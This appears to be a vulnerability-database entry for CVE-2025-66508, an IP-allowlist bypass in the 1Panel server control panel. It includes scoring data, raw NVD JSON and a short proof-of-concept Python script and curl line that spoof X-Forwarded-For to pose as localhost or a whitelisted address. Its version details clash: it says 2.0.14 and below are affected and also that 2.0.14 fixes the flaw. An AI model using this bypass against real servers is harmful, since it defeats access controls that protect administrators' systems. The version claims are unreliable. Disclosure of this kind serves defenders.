Security Vulnerability Report
中文
CVE-2025-66508 CVSS 6.5 MEDIUM

CVE-2025-66508

Published: 2025-12-09 16:18:19
Last Modified: 2025-12-10 21:28:08

Description

1Panel is an open-source, web-based control panel for Linux server management. Versions 2.0.14 and below use Gin's default configuration which trusts all IP addresses as proxies (TrustedProxies = 0.0.0.0/0), allowing any client to spoof the X-Forwarded-For header. Since all IP-based access controls (AllowIPs, API whitelists, localhost-only checks) rely on ClientIP(), attackers can bypass these protections by simply sending X-Forwarded-For: 127.0.0.1 or any whitelisted IP. This renders all IP-based security controls ineffective. This issue is fixed in version 2.0.14.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:fit2cloud:1panel:*:*:*:*:*:*:*:* - VULNERABLE
1Panel <= 2.0.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66508 PoC - X-Forwarded-For IP Spoofing # Target: 1Panel <= 2.0.14 import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else "http://target:8080" # Bypass localhost restriction headers_spoofed = { "X-Forwarded-For": "127.0.0.1", "User-Agent": "Mozilla/5.0" } # Bypass IP whitelist (example: 10.0.0.1) headers_whitelist = { "X-Forwarded-For": "10.0.0.1", "User-Agent": "Mozilla/5.0" } print("[*] Testing localhost bypass...") response1 = requests.get(f"{target}/api/v1/...", headers=headers_spoofed, timeout=10) print(f"[*] Status: {response1.status_code}") print("[*] Testing IP whitelist bypass...") response2 = requests.get(f"{target}/api/v1/...", headers=headers_whitelist, timeout=10) print(f"[*] Status: {response2.status_code}") # Simple curl alternative: # curl -H "X-Forwarded-For: 127.0.0.1" http://target:8080/api/endpoint

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66508", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:19.437", "lastModified": "2025-12-10T21:28:08.197", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "1Panel is an open-source, web-based control panel for Linux server management. Versions 2.0.14 and below use Gin's default configuration which trusts all IP addresses as proxies (TrustedProxies = 0.0.0.0/0), allowing any client to spoof the X-Forwarded-For header. Since all IP-based access controls (AllowIPs, API whitelists, localhost-only checks) rely on ClientIP(), attackers can bypass these protections by simply sending X-Forwarded-For: 127.0.0.1 or any whitelisted IP. This renders all IP-based security controls ineffective. This issue is fixed in version 2.0.14."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fit2cloud:1panel:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.0.14", "matchCriteriaId": "72A77893-8F9B-4CFF-8952-A7478F7D3DC9"}]}]}], "references": [{"url": "https://github.com/1Panel-dev/1Panel/commit/94f7d78cc9768ee244da33e09408017d1f68b5ed", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-7cqv-qcq2-r765", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}